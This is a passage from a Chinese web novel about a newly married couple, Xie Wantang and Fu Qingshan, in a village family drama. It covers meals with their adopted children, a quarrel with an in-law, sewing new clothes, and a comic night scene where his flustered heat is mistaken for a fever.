除了结婚那晚在正屋,他娘不想分家逼谢晚棠制止他,谢晚棠柔柔软软的靠在他身边说“我都听青山哥的”,谢晚棠再没这么叫过他。 生气的时候就直接喊他傅青山,开心的时候就跟着孩子一块喊他爹…… 再次听到谢晚棠娇娇气气地叫青山哥,傅青山说不出是什么感觉,反正……就是感觉后边谢晚棠说什么他好像都不能拒绝。 何况谢晚棠提的要求再平常不过。 腰间的那双手因为路面颠簸来回蹭着,蹭得他那片肌肉都滚烫起来,腰间像是被点了一把火烘烤着,要把他烤化一般。 傅青山深吸一口气,语气也被烤化,没了平常的冷硬:“好。” 目送傅青山和谢晚棠说说笑笑腻腻歪歪从她们身边经过,车轮轧过,带起一阵呛人的尘土。 王寡妇和八卦妇女们面面相觑……???? “傅青山包里装的真是肘子啊!我说我怎么闻到肉香味了!” “傅青山在家还做饭?男人还有做饭的?” “王寡妇!你晚上都听了些啥!傅青山这样也不像虐待人的啊,还能晚上虐待完了白天再好吃好喝的当祖宗似的伺候着?” 第26章 【二更合一】张嘴。 王寡妇在吃土中被质疑得整个人都凌乱了…… 所以傅青山真是每天晚上都在跟谢晚棠那啥?? 那傅青山得多大谢晚棠才能一直嗷嗷喊疼?! 一直到转过弯进了胡同,确定后边那群长舌妇看不见了,谢晚棠才把手从傅青山腰上拿开。 傅青山刚才感觉腰上像要起火一样难耐,可谢晚棠的手一拿走,他又莫名觉得腰间有些空落落的,好像丢了什么一样空虚。 傅青山调整了好一会儿才冷静下来,回想刚才谢晚棠当着那群女人的面突然对他言行亲昵,至于为什么要这样表现,傅青山不傻,原因仔细一想就能捋顺明白。 傅青山皱眉,微微侧身偏头:“她们欺负你了?” 谢晚棠闻声撇撇嘴,欺负她男人(就算是合约的),也约等于欺负她。 但是因为这件事的前因后果涉及到傅青山的隐疾,谢晚棠不想说那么明白,让傅青山平白添堵,于是随口道:“小事,我能解决,放心。” 刚才这一波,就够她们嫉妒难受一阵子的了,而且是想酸都酸不起来的那种。 傅青山听谢晚棠这么说,便没再说什么。 两人到玉秀家接小刚和妞妞,两个小孩见他们大包小包地装了满满一自行车,简直惊呆了! 谢晚棠把多的2毛钱给傅大娘:“买的多,跟卖布的讲了价,给便宜了。” 傅大娘一听更高兴:“哎呀,这找你捎着买省了跑腿不说,还跟着赚了便宜!” 玉秀的二哥傅青林正好下工回来,傅青山结婚的时候,他也跟着支书去忙前忙后,跟谢晚棠打过照面,是而在自己家再见到,立马快步进来打招呼:“青山哥,嫂子。” 傅青山点点头。 谢晚棠跟傅大娘要了根麻绳,直接在院子里给傅青林量了尺,分别在麻绳上系扣打结标记好。 谢晚棠把麻绳揣进裤兜:“大娘,我过晌就能做好,你抽空来拿,或者让小刚和妞妞给你送过来。” 傅大娘一听这么快,眉开眼笑:“好好好!我过晌去拿!” 谢晚棠走之前看到傅大娘院里的小菜地里种了一排大葱,想到今中午的虾仁鸡蛋汤还没有葱,有点不好意思地道:“大娘,能给我根葱吗?家里做饭缺根葱。” 傅大娘听老头子回来说了分家分给傅青山的自留地里就种了点白菜,所以前天就让玉秀去送了些菜,一听谢晚棠要葱,直接拔了五根拍打拍打土给她:“吃完再来拿!家里别的没有,菜有的是!” 谢晚棠简直太高兴了,中午蛋汤的灵魂有了! 想到自家光秃秃的院子,越发期待大刚的家庭菜园了,真是急需啊! 回去的时候,傅青山推着车子,谢晚棠领着妞妞和小刚跟着。 到家把东西卸下来,谢晚棠先口头教了傅青山大葱虾仁鸡蛋汤的做法,傅青山也习惯了谢晚棠是理论王者实践矮子,听明白后便开始烧火做。 谢晚棠就带着妞妞和小刚把今天在黑市和供销社买的东西分类归置好。 看到大白兔奶糖的时候,两个小家伙的眼睛瞪得像铜铃,但小朋友正在换牙期,不能多吃,谢晚棠扒开两块,投喂进两个嗷嗷待哺的小朋友嘴里。 看着小朋友享受得眯起眼睛的样子,谢晚棠也被勾起了甜食馋虫,自己也来了块大白兔,是童年的熟悉的奶甜味,大白兔真是几十年如一日的品质呐! 谢晚棠又拿出三块大白兔放进妞妞手里:“一会儿妞妞负责分给哥哥姐姐好不好?” 三个大的,尤其是大刚和兰兰,对她不怎么热络,她给的话,有可能碍于面子不要,妞妞给就没问题,没人会拒绝家里最小的妹妹。 妞妞小手接住:“好!” 分完糖剩下的准备放下来,谢晚棠突然想到在当门里忙碌的男人,今天他说他得养老婆孩子,那……老婆孩子也不能背着他吃独食,对吧? 谢晚棠来到锅台旁,看傅青山正按照他的步骤在往大锅的汤里打蛋花,高大的男人在锅台前弯着腰专注的样子,还真有后世网络上那种居家好男人的味道。 “张嘴。” 傅青山正在搅蛋花,闻声视线都没偏,看着锅里的蛋花迅速成型,下意识张嘴。 温热的手指抚过他的唇,在他怔住的瞬间,将什么东西塞进他嘴里,下一秒,指尖划走,嘴里化开浓郁的甜。 “甜吗?” “……甜。” 看着面前笑容明媚俏皮的人,傅青山喉结动了动,将嘴里的甜进胃里,流向全身。 他其实不爱吃甜,觉得腻。 但今天的奶糖好像哪里不一样,甜而不腻。 “好了!” 傅青山回过神来,谢晚棠指着大锅提醒,果然蛋花已经熟了,浅黄色的蛋花和嫩绿色的大葱错落相间,清爽的色泽让人看着就有食欲。 傅青山用大汤勺把汤舀进汤盆里,装了满满一大盆。 汤汁舀尽,锅底是泡发了的虾仁,一并捞起,倒进盆里。 肘子是刚出锅的,一路回来虽然不那么烫了,但是毕竟天热,并没有凉,温温的,可以直接吃。 傅青山往炕上搬桌子端汤,谢晚棠洗了手,主动帮着切肘子,这样吃的时候还方便。 酱好的肘子红彤彤的,油都已经靠出去了,肥而不腻,看着就诱人,香味更是最直接的对嗅觉的冲击,简直上头! 可是肘子滑溜溜的,刀又不是特别快,谢晚棠一刀下去,刀刃滑了一下,朝着谢晚棠摁住肘子的左手指尖就去了…… 就在谢晚棠以为自己又要光荣负伤的前一秒,傅青山一把抓住她握刀的手,干燥的掌心包裹住她的手背,结实的胸膛抵住她的后颈,指缝交错间,从她手里接过了刀:“我来。” 差点交代掉一个手指头,洗完头心有余悸,从善如流地把刀交给傅青山。 谢晚棠出去压水洗手的时候,凉水流过指间,有一点痒,跟刚才傅青山的指缝蹭着她的指缝的感觉有点像。 回忆的画面是整体的,不只是手指,刚才,傅青山那个姿势好像把她抱在怀里? “什么东西?!好香!”二刚像大野驴一样推门而入,打断了谢晚棠的回忆,他嗅着比小狗还灵敏的鼻子冲进厨房。 看到爹正在切一整个肘子,二刚口水都要留下来了:“我说怎么在胡同里就闻着肉香味了!啊啊啊!有肉吃了!” 大刚和兰兰跟二刚脚前脚后,一进门闻到扑鼻的肉香,同样惊讶。 洗手上炕,肘子、虾仁蛋花汤、芝麻烧饼,每一样都是他们之前过年都不敢想的好吃的,现在居然就这么吃上了! 兰兰垂眸喝汤时不经意间打量谢晚棠,后妈似乎并不像奶奶说得那样会虐待他们,他们吃得反而比在奶奶那儿好,而且有一顿比一顿好的趋势。 肘子的香气太浓,轻轻松松飘到正屋那边,老三一家在小南屋吃着炖白菜玉米饼子,闻着扑鼻的肉香,口水不停往下咽,但是因为之前已经去触过一次霉头,长了记性,馋也只能强忍着。 东间的傅青宁可忍不住了,自从分了家,娘就抠搜起来,以前天天吃二合面饼子,现在一顿二合面饼子一顿玉米面饼子掺着吃,甚至吃玉米面饼子的时候更多。 肉就不用提了,从二哥结婚那天吃过猪脸后,这几天菜里别说肉了,连点肉沫都没见过,因为分出去两只鸡,家里的鸡蛋也吃得少了,跟之前的日子一比,整个一个粗茶淡饭,清汤寡水! 傅青宁被这扑鼻的肉香弄得心烦意乱,啪一声把筷子放桌上,耷拉下脸来:“分了家有好东西也该先来孝敬爹娘才是啊!” 小闺女一句话说到了傅老太心口窝里:“就是!我看真是要娶了媳妇忘了娘了!” 傅大嫂闻声头都没抬,撇撇嘴,还寻思美事呢,要是老二真有那份孝心,能结婚当天晚上就提分家? 经历过老二结婚那日被婆婆扣屎盆子的经历,傅大嫂里外不插嘴,只管好自己的孩子。 傅青宁气不过隔壁吃独食过好日子,留她们在这吃糠咽菜,气哄哄地下炕穿鞋,往东屋去了:“我去找二哥说道说道!” 肉香,烧饼也香,谢晚棠和兰兰一人吃一个,妞妞和小刚胃口小,一人一半,剩下六个烧饼,三个男人一人俩。 别看二刚才10岁,正是蹿个子的年纪,不比大刚和傅青山吃得少。 二刚已经第二碗汤下肚,开始舀第三碗:“真爽啊!” 二刚话落,炕门嘭得一声被踢开,别说孩子了,谢晚棠都吓一跳。 只见傅青宁双手叉腰,气势汹汹地站在炕前,仇视地扫了他们一圈,视线落在盘里的肘子肉和洒满芝麻的烧饼上,咽了咽口水,指着谢晚棠的鼻子就开始骂: “你就这么当儿媳妇的?自己躲在屋里偷偷吃香的喝辣的,把公公婆婆当什么?!你,你这样的不孝媳妇,就该被抓到大队部去批斗!看你以后还敢吃独食!” 虽然三个大的平日里跟谢晚棠还是不冷不淡的,但如今谢晚棠因为带他们吃好吃的,被小姑指着鼻子骂,他们下意识就跟谢晚棠站到了一个战线,屁股都坐不住了,跃跃欲试要反驳。 可傅青宁到底比他们大,嘴也泼辣,他们根本插不上嘴,急得要命。 谢晚棠被指着鼻子骂也不激动,待傅青宁叮咣一顿输出完才哼了声:“我当是什么事呢,分家单是可是写的清清楚楚,该交给公婆的养老份例,我有少1两吗?” 分家当天,傅青山就把当月该交的份例都交过去了。 谢晚棠一把拍开傅青宁的臭爪子:“我按规矩本本分分养老,我有理走到天下都不怕,谁敢把我抓去批斗就试试!” 傅青宁说不过谢晚棠,跺脚狠哒傅青山:“二哥,你老婆不讲理你管不管?!你在这边吃着肉,就狠得下心让爹娘吃糠咽菜?” 二刚闻言啧了声:“以前你们吃肉的时候,也只让我们吃糠咽菜啊,你们不也都狠得下去心?” 二刚一句话,激起过往很多不愉快的灰色记忆。 不止是五个孩子的,还有傅青山的。 正如他曾经跟谢晚棠说过的,他的团长是他军人生涯的领路人,引领他,教导他,甚至他的命,都是团长拿自己的命救下来的,说团长是他的再生父母都不为过。 这些事,在他领回这5个孩子的时候,都跟家里讲过,就是希望他们知道,这不是随便哪个外人的孩子,这些孩子虽然和他没有血缘,却有着比血缘更深的牵绊。 他转业后努力工作挣钱,把工资交给家里,就是希望能好好养大这5个孩子。 但是—— 他们只想要他的钱,从来没有真心对待过这几个孩子,甚至没人懂他内心的那份愧疚。 要说孝心、亲情,他曾经都有过,只是被这漫长的时间都磨灭了。 傅青宁被二刚随口一句噎得说不上话,傅青山回过神来,神色冷淡:“我没听出你嫂子那句话不讲理,既然分了家,不过节不过年就不用叨叨了,都各自过好各自的日子。” 说完,傅青山也不管她反应,拿起筷子继续吃饭,其他孩子更是懒得搭理她,埋头吃自己的肉和饼。 哥哥侄子都不搭理,除了谢晚棠这个跟她不对付的嫂子看笑话似的看着她,还不如别看! 傅青宁脸烧得通红,看着闻着还不能吃,听着二刚出溜汤的动静,她口水都要留下来了!最后实在待不下去,哼了一声,气呼呼地走了。 送走瘟神,五个孩子长舒一口气,被小姑在这盯着,真是又烦又担心,这么好的饭都要没食欲了! 吃饱喝足,三个小的出去玩皮筋和陀螺消食,玩累了谢晚棠叫他们都回来午休,昨天因为宝根那档子事闹了一中午,都没睡午觉。 傅青山昨晚没睡好,眼睛发涨,躺下抬手挡住眼睛,很快便睡着了。 不知道是太累了还是习惯了,醒来的时候看到谢晚棠手还搭在他胸口,他之前竟然一点知觉都没有。 他轻轻拿开谢晚棠的手,下炕洗脸,短暂的午睡过后,精力彻底恢复。 过晌谢晚棠要在家做衣裳,傅青山没事,便去替谢晚棠上工,这几天又是忙结婚,又是忙家里的事,她已经请假好几天了。 三个大的走之前,谢晚棠叫住他们说要量尺寸做衣裳。 二刚惊讶:“我也有?!可我没叫——” 在那声“娘”说出口之前,二刚猛得咽了回去。 谢晚棠笑笑:“都有。” 柔软的手拿着尺,几下给他量好尺寸,就让他去上学了。 二刚一路都迷迷瞪瞪的,所以他不仅有了陀螺,还会跟小刚妞妞一样有新衣裳? 大刚一听谢晚棠要给他做衣裳,冷冷地说了句“我不要!”,推门就跑了。 兰兰也要走,被妞妞拉着手拽过来,站在谢晚棠面前:“姐姐也穿漂亮衣裳。” 兰兰和她对视一眼,眼神很别扭的样子,谢晚棠笑笑,麻利地给兰兰量完尺寸,兰兰一副不自在的样子,说要上工急着走了。 下午小刚陪妞妞在院里跳皮筋,把皮筋一边缠在压井上,小刚现在另一边撑着,妞妞在中间跳,跳一会儿再换她撑着,小刚来跳。 谢晚棠在屋里做她的大工程,先给玉秀二哥傅青林做,是一身裁剪合身、板正利落的深灰。 傅大娘来的时候谢晚棠已经熨完放在一边,开始给小刚做了。 傅大娘一进门,小刚和妞妞第一时间打招呼。 “大奶奶!” “大奶奶!” “哎!跳皮筋呢!” “嗯,娘给我们买的!” “有娘好吧,好好玩吧!” 谢晚棠闻声出来,傅大娘给带的大蒜和姜,谢晚棠开心地上来接过来:“谢谢大娘!” 傅大娘笑着在压井边洗手:“一家人说什么谢,你又给玉秀做衣裳,又给青林做衣裳,要说谢,我还得谢你呢!” 洗完手傅大娘拉着她进屋,指了指正屋那边,低声问:“分了家那边没来叨叨你?” 谢晚棠耸耸肩:“来过两次,不过都被青山怼走了。” 傅大娘哼了声:“也有脸来!青山怼得好!别给他们引上,到时候不够烦的,贪起来没个头!” 知道谢晚棠分家没分着什么菜,傅大娘道:“大刚兰兰他们都知道我们家的自留地在哪儿,等着吃完这些,想吃什么,你就让孩子去地里弄就行。” 谢晚棠不好意思一直白吃白拿的,说要给钱,傅大娘一撇嘴:“提钱就生分了!你放心,不白吃,等着老二结婚,老三相亲还得找你做衣裳,还有的麻烦你呢!” 听傅大娘这么说,谢晚棠心理放松很多,笑着应下,拍拍胸脯:“包在我身上,保证把弟弟妹妹们都打扮得精精神神漂漂亮亮的!” 傅大娘和谢晚棠说笑着进了炕间,一进来就看到谢晚棠已经给青林做好了衣裳,板板正正地叠着。 傅大娘惊喜地拿起来看,针脚细密,衣面平整,板正的小立领看着就精神! 傅大娘一想到二儿子穿上这衣服的模样就高兴,喜上眉梢:“晚棠,你这手可真巧!做得又快又好!” 谢晚棠笑着拍拍缝纫机:“大娘,不是我快,是缝纫机快!” 傅大娘摇头:“缝纫机当然好,不过也得看是谁用!” 谢晚棠跟傅大娘说让青林回去试试,哪里不合适了再拿回来,可以改。 傅大娘应了,反正家里没什么事,就坐在炕上,看谢晚棠坐在缝纫机前做衣裳。 傅大娘看这布料的颜色跟谢晚棠和妞妞的身上穿的一样,问道:“这是给谁做的?” 谢晚棠:“小刚的,我说我和妹妹是亲子装,他也非要和我们一起穿亲子装。” 傅大娘看着谢晚棠手下布料翻飞,又看了一眼窗外正在跳皮筋的妞妞和小刚,忍不住感慨:“幸好青山娶了你,你看你才嫁过来没几天,这俩孩子就大变样了,之前让我那弟妹带着,真是没法看!” “青宁那闺女我看着也铁随她娘,年纪轻轻一张大老婆嘴,出去到处说你坏话,没个大姑娘样!” 谢晚棠跑完剪线头的时候笑道:“她爱怎么说怎么说,也不影响我们好吃好穿地过好日子。” 傅大娘也说是:“她们越说,你就越要过得好,气死她们!” 谢晚棠笑:“对,气死她们!” 谢晚棠没想到傅*大娘年纪比她大这么多,她们还能聊得投趣,果然孩子随父母,玉秀的爽朗就是随了傅大娘。 又坐了一会儿,好做饭了傅大娘才走,谢晚棠也做好了小刚的衣裳,喊小刚进来换上试试。 小刚和妞妞马上放下皮筋跑进来,小刚自理能力很强,平时都是自己穿衣服,谢晚棠领着妞妞出去,让小刚自己换。 娘俩拉着手先去看看小鸡小鸭,又去看看大刚的家庭菜园,经过这几天的忙碌,菜园已经播种完成,一行一行的非常整齐。 谢晚棠不知道大刚种的什么,也不知道这些种子什么时候能发芽,从来没种过田的她对植物的生长充满了好奇。 “哈哈!正好哦!” 清亮的童声自身后传来,谢晚棠闻声回头,就看到小刚昂首挺胸地叉腰站着当门口。 小刚比妞妞大1岁,其实也还是小孩子,清澈的蓝色衬出小朋友的童真与单纯,让人看了心情爽朗。 谢晚棠对着小刚竖起大拇指:“好看!” 小刚高兴地跑过来:“我跟娘和妹妹有一样的亲子装咯!” 小孩子的快乐很简单,一块糖,一件洗衣裳,就能高兴得手舞足蹈。 兄妹两个亲昵地拉着手,问她能不能去接爹和哥哥姐姐下工。 小朋友换下一身破补丁,穿上新衣裳有了自信,自卑敏感自然褪去,当然就愿意出门去见人了,谁穿了新衣裳不想让人看看呢,大人都控制不住,何况小朋友。 谢晚棠笑着摆摆手:“去吧!路上小心!” 两个小朋友应了,开开心心地拉着手跑了。 谢晚棠关上大门,趁天还亮着,回屋继续给二刚做。 缝纫这活看着轻快,一个姿势伏案久了肩颈也很酸,不过看着自己打扮的小孩漂漂亮亮的,谢晚棠很有成就感,心情好也就不觉得那么累了。 谢晚棠抻了抻胳膊晃了晃脑袋,感觉好多了,回屋继续干活。 二刚放学回来得早,谢晚棠正好缝好扣子,叫他进来试。 二刚没想到这么快新衣裳就做好了,被谢晚棠叫进去的时候,还迷迷瞪瞪地感觉像在做梦。 衣裳是浅灰色,穿上舒服又合身,勾起二刚很久之前的记忆。 娘去世前最后给他做的一件衣裳就是浅灰色,那时候他和小刚差不多大,还是娘手心里的宝,有新衣裳穿,有好东西吃。 自从娘去世,他就再没穿过新衣裳,开始穿哥哥姐姐穿下来的旧衣裳。 他那身新衣裳穿旧了,穿不上了,给了小刚,又给了妞妞,最后破得满身补丁。 他穿好出来,看到谢晚棠的那一刻,突然有一种想叫娘的冲动,虽然没有血缘关系,但是谢晚棠像娘一样给他吃好饭,买玩具,做新衣裳。 只是叫一句娘,应该也不算是蒲志高吧? 二刚一番思想建设后,穿着新衣裳站在当门口,犹豫了下:“娘,穿好了。” 谢晚棠正在压井水洗白菜,闻声回头,听到二刚主动叫娘,自然高兴,这是孩子对她的认可,她毫不吝啬地给二刚竖起大拇指:“帅!” 被谢晚棠笑盈盈地夸,二刚这样的大野驴性格也忍不住脸红害羞,主动过来帮谢晚棠压水冲洗。 傅青山领着妞妞和小刚回来的时候,看到的就是这样和谐的一幕。 二刚跟在谢晚棠前后帮忙,左一句娘右一句娘,跟以前的二刚判若两人。 傅青山不自觉地也被这样和谐的氛围感染,他进来的时候就看到了二刚身上的新衣裳,随口道:“二刚也有新衣裳了?” 二刚闻声抬头,看到傅青山,嘿嘿一笑:“娘给我做的。” 傅青山点头:“嗯,好看,精神。” 小刚和妞妞也跑过来围着二刚看:“二哥的新衣裳好看!” 二刚被一家子夸得脸红,嘿嘿笑着,干起活来更起劲了! 谢晚棠还是第一次见傅青山主动跟孩子聊天,这才对嘛,父亲也该多和孩子互动起来,虽然父爱如山,但也不能不交流啊。 这样就很好! 谢晚棠蹲在压井旁,仰头对傅青山笑道:“今晚包饺子吃!今天先吃白菜猪肉馅!” 傅青山点头,洗过手后进屋和面,白面是上午在供销社买的,因为要粮票,只买了5斤。 几个孩子听说吃饺子,还是肉馅饺子,高兴得在院子里欢呼:“吃饺子咯!吃饺子咯!” 傅青宁下工回来路过二哥家大门口,就听着侄子侄女在里边喊着要吃饺子,恨恨地跺了好几下脚,哼了一声往家走! 吃吃吃!早晚把家吃穷了! 傅青山和面的时候,大刚和兰兰回来了,听弟弟妹妹说要吃白菜肉的白面饺子,也很惊讶。 白面饺子啊,那真是过年才能吃的!而且每人就分那么两三个。 谢晚棠把菜和大葱洗干净后拿进去要切,傅青山垂眸,看了眼她青葱般白嫩的手,“放那儿就行,一会我切。” 谢晚棠:“白菜不滑,好切,放心吧!” 傅青山抿唇不语,一副并不赞同的样子。 谢晚棠是觉得她也不好什么都不干,光用个嘴指挥吧,而且她见过妈妈切饺子馅,就是把白菜切成小丁就行。 说完,把白菜放到菜板上,自信满满下刀! 三刀之后,谢晚棠有点怀疑人生…… 先切丝,再切丁,可是……切丝怎么这么难! 看着自己切完的,这哪是丝?这是棍吧! “我来吧。” 谢晚棠正在自我怀疑中,身旁传来温柔的声音,谢晚棠偏头,兰兰站在她旁边,伸手要接她手里的刀。 谢晚棠觉得自己都做不好的事,兰兰才14岁,肯定还不如她。 但这是兰兰第一次跟她主动说话,孩子有积极帮忙的心就是好的,家长当然要鼓励支持,就算干不好,也没什么的。 谢晚棠笑着把手里的刀交给兰兰:“行,那姐姐来试试。” 兰兰抿唇接过菜刀,谢晚棠闪身腾出位置,下一秒,谢晚棠目瞪口呆。 兰兰下刀如有神,手下有节律地切着,菜板上是哒哒哒的好听声,一看就是熟练工,跟她这种笨笨拙拙的完全不是一个级别的。 谢晚棠惊讶:“兰兰,你怎么会?!你太厉害了!” 兰兰:“……” 兰兰想说,村里哪家的闺女不会啊…… 但是看谢晚棠惊讶之余又有些郁闷的表情,她轻咳一声:“以前经常帮大娘做饭。” 白菜很快切完,兰兰撒上盐杀杀水,又拿过肉准备切肉,不确定地看了一眼谢晚棠:“切多少?” 谢晚棠看了一眼,肉夏天不好存放,就买了1斤半五花,7个人吃,平均一个人也就二两。 谢晚棠:“都切上。” 兰兰讶异地看向谢晚棠,谢晚棠也不明所以地看着她:“怎么了?” 兰兰抿唇,摇了摇头,垂眸快速切肉。 谢晚棠亲眼看着兰兰特别麻利地把肉切好,把白菜挤净水和肉拌在一起,然后熟练地加上盐、酱油等调料调匀。 傅青山那边面也揉好了,把面板放到炕桌上,擀面杖菜刀和面也拿过去。 谢晚棠给效率父女组点赞:“你们太厉害了!比得我好菜啊……” 傅青山抬眼看她片刻:“每个人擅长的东西不一样,你做衣服厉害,别人也比不过你。” 说到擅长,谢晚棠突然想到她的绝活,脱了鞋上炕:“我擅长擀皮!” 父女俩都抿着唇不说话,不置可否。 谢晚棠这次还真不是吹,逢年过节吃饺子,她可是擀皮小能手! 看着菜都不会切的谢晚棠像玩儿一样飞快地擀皮,两个人包都不及她擀皮的速度快,兰兰很惊讶,感觉后妈真的是个很特别的人。 三个人合作,天还没黑,三大盘饺子就包好了。 傅青山下去烧水下饺子,兰兰收拾面板工具下去清洗,谢晚棠把炕上卫生收拾好,下炕去院里洗手。 二刚和小刚妞妞一起在跳皮筋,大刚在给他的菜地浇水。 谢晚棠洗完手喊他们:“洗洗手一会儿吃饺子了啊,都得使劲吃啊,剩下第二顿就不好吃了。” 傅青宁出来泼水,听着谢晚棠的声音,撇撇嘴,包多少饺子啊,就敢让使劲吃,过年包饺子也没谁家能放开了吃! 几个孩子洗完手,锅里的饺子也飘起来了,白面诱人的香气也跟着飘了出来,孩子们都来帮着往炕上端饺子。 二刚啧啧感慨:“真是天天过年啊,居然放学回来就能吃上白面饺子!爹,我们家这算不算共产主义生活啊!” 谢晚棠闻声,噗嗤一声笑了,摸摸二刚的头:“你知道得还不少来。” 二刚嘿嘿笑:“跑步进入共产主义嘛!” 谢晚棠说让大家放开吃是真的,满满三大盘饺子,平均一人20个,小刚和妞妞小,根本吃不了20个,所以傅青山和两个大男孩实际吃的不止20个。 谢晚棠让兰兰放得肉多,饺子馅格外香,每个孩子都吃得一嘴油光,大家说说笑笑的,好像真的像二刚说的,已经过上无忧无虑的共产主义好生活了。 每个人都撑到打嗝,最后还真把三大盘饺子都干出来了! 吃完饭,大刚刚要溜,被傅青山叫住:“检讨写完了吗?” “……” 自然是没写。 他上学那几年,认没认够300字都不好说,这两年不上学了,以前认识过的也还给了老师。 傅青山:“明晚交给我。” 大刚像霜打了的茄子:“哦。” 还不如罚站一晚呢!就不用像现在这样凌迟处死了! 谢晚棠看大刚视死如归的样子,笑着提醒了句:“可以求助二刚。” 毕竟二刚是现在家里唯一正在上学的,应该是孩子里认字最多的。 大刚闻声眼睛亮了下,几不可闻地嗯了声。 家里下饺子下得热,收拾完傅青山把窗都打开透气,大家去院子里纳凉,等屋里的热气散得差不多了,压了井水洗漱完上炕休息。 谢晚棠动作慢,最后一个吹蜡上炕。 吹蜡前,看了一眼炕上整整齐齐排列的干鱼阵:“都好了吧,要吹蜡咯。” 其他人点头,两个小的回应她:“好啦!” 谢晚棠刚要吹,视线落在傅青山穿得严严实实的长袖衬衣上。? 这几天傅青山都是光着膀子睡觉,今天家里格外热,怎么反倒穿上衣裳了?还穿长袖?白天上班傅青山都穿短袖。 而且看他闭眼躺着,显然就要这么睡了。 睡觉穿睡衣也不是这么个穿法吧??? 谢晚棠奇怪:“你穿这么多不热?” 傅青山:“……不热。” 第27章 扣着谢晚棠纤细的腰身,把人圈在怀里。 谢晚棠……?? 夏末白天气温接近30度,晒了一天,这会儿都没降下温来,谢晚棠穿半袖都觉得热,还寻思着做身无袖睡衣晚上穿呢。 傅青山这一身不透气的的确良捂得严严实实还说不热? 傅青山当然热,尤其是被谢晚棠疑惑又好奇的视线直直盯着,就算他闭着眼,都能感觉到谢晚棠对他从头到脚的打量,这无疑让他平添更多燥热。 他只希望谢晚棠赶紧吹掉蜡烛,别再用视线烤他了。 闭着眼睛也能感受到光线的强弱,谢晚棠没吹蜡,但炕面微动,摩擦的声音离他越来越近。 一道阴影忽而从眼前闪过,额上传来温凉的触感,傅青山警惕地睁开眼,入目便是谢晚棠巴掌大的小脸。 距离极近,不过十几公分,谢晚棠脸上皮肤白皙,如刚剥掉壳的鸡蛋清,细腻得看不到毛孔,长睫轻颤,杏眸如水,探究他的神色干净清澈,不带一丝杂念,越发趁得他内心龌龊。 傅青山少有的心虚,避开和谢晚棠视线对视,下意识垂眸,眸光却自然落到谢晚棠粉嫩的唇瓣上,那柔嫩的唇瓣干净清透,泛着润泽的光,让人忍不住萌生出狠狠咬上去的冲动。 “你头上都是汗,确定不热吗?” 额头上温凉的触感消失,谢晚棠抽回手,跪坐在他身边,歪头探究地打量他。 被如此近距离盯着,傅青山更觉口干舌燥,深吸一口气,尽量面色镇定道:“不热。” 谢晚棠突然皱眉:“你不会病了吧?” 说着,又伸手探到他额上摸了摸,又收手摸摸自己的,又伸手摸摸他的…… 傅青山被一双柔软的手摸得躁动不安,极力压下急促的呼吸。 他是病了,还病得不轻,一种被谢晚棠靠近就会变态的病。 谢晚棠来回摸了五六遍,确定道:“你发烧了?!” 傅青山皱眉:“没有。” 傅青山很肯定自己没发烧,发烧和燥热他还分得清。 谢晚棠也很肯定:“你额头很烫!肯定是发烧了!” 躺下要睡觉的孩子们一听说爹发烧了,都重新爬起来,担忧地探头看过来。 傅青山:“……” 他不只是额头烫,他全身都烫。 傅青山被这么多双眼睛看得躺不住,叹了口气,单手撑着坐起来,刚要说自己真没事,离他最近的小刚大喊一声:“爹后背都湿了!” 谢晚棠偏头一看,还真是,后背都出一身汗了,还不觉得热,这不是发烧是什么? 谢晚棠奇怪地嘟囔了声:“这大夏天怎么着凉的?” 二刚闻声突然道:“爹是不是后半夜洗澡冻着了?” 谢晚棠……?? 二刚:“我昨晚下去尿尿,看到爹在院里打井水洗澡。” 这个季节温差大,白天有太阳的时候,烤得地面要冒烟,一直到睡觉前,都觉得热烘烘的,可到后半夜空气慢慢凉下来了,就舒服了。 谢晚棠不解:“后半夜都凉快了,你还洗澡干嘛?” 傅青山:“……” 傅青山不是个会说谎的人,平常要么直来直去,实在不想理的事就不说话,可如今被谢晚棠和五个孩子一眨不眨地盯着…… 傅青山深吸一口气:“热。” 他也没有说谎,后半夜是凉快,但他的热跟天气无关。 傅青山真的不想当着孩子们的面再继续这个话题,抬手揉了揉发涨的太阳穴,只能稀里糊涂认下这场发烧:“没事,睡一觉就好了。” 谢晚棠却要下炕:“你先躺会儿,我去给你熬姜汤。” 小时候她着凉感冒,妈妈都是给她熬上一碗浓浓的姜汤,喝了睡一觉保准好个八九不离十,不然就得拖拖拉拉接近一个周。 幸好今天下午支书家大娘还带过来的姜,不然还得现去地里拔呢。 傅青山一把攥住她手腕,皱眉:“不,不用麻烦了。” 谢晚棠知道他独立惯了不愿麻烦人,随口道:“熬个姜汤而已,又不是做饭,不麻烦的!” 说完在傅青山还欲张口前,挣脱傅青山钳子一般的大手下炕去了当门。 兰兰不放心跟着下来,让谢晚棠烧火,她来洗大姜切片。 其他几个孩子看爹病了也躺不住,下饺子似的一个一个下炕穿鞋来帮忙。 大刚去抱草,二刚去压水,小刚和妞妞帮着拉风箱引火。 谢晚棠笑:“六个人熬姜汤,这带着浓浓的爱的姜汤,爹喝了心里肯定暖烘烘的,感冒一下子就好了!” 傅青山在炕上听着:“……” 他已经想象到一身火的自己喝完姜汤流鼻血的样子…… 傅青山对着屋顶长叹一声,没想到一件长袖衬衣引来这么多误会,早知道这样,他穿件背心也好过现在这样。 众人拾柴火焰高,全家搭配,干活不累。 没一会儿,姜汤熬好了。 谢晚棠吹着热气小心翼翼地端过来递给他:“趁热喝了效果好。” “……” 自己凭骚操作挣来的姜汤,跪着也得喝下去=_= 一碗热气腾腾的浓浓姜汤喝下去,虽然没流鼻血,但全身瞬间激出来一身汗,衬衣黏糊糊地粘在身上,不用谢晚棠说,他也不想穿了,起身要下炕找背心。 谢晚棠体谅他是病号,不让他动,下炕去给他拿,看着谢晚棠递过来的长袖的确良衬衣,傅青山第一次觉得自己的胳膊犹如千斤重,不想抬手去拿。 可前边才说了穿长袖不热,给自己挖了大坑,现在也只能硬着头皮跳下去。 换上干净的长袖衬衣,终于关灯躺下,傅青山却感觉自己随时处在起火的边缘…… 听着身旁的人翻来覆去,估计是生病难受,谢晚棠怕傅青山后半夜再烧得厉害,便撑着精神没睡,躺着一边听着傅青山那边的动静,一边想明天做点什么新鲜吃的。 傅青山躺下后精神紧绷,他现在的状态,可以用星星之火可以燎原来形容,只要谢晚棠的皮肤贴过来,他随时可能被点着。 …… 然而,傅青山等了很久,久到身上躁动的血液逐渐归于平静,谢晚棠也没有如昨晚那样黏上来,明明该长舒一口气的,可不知怎么的,他竟然感觉有点哪里不得劲,好像有什么叫嚣着想要。 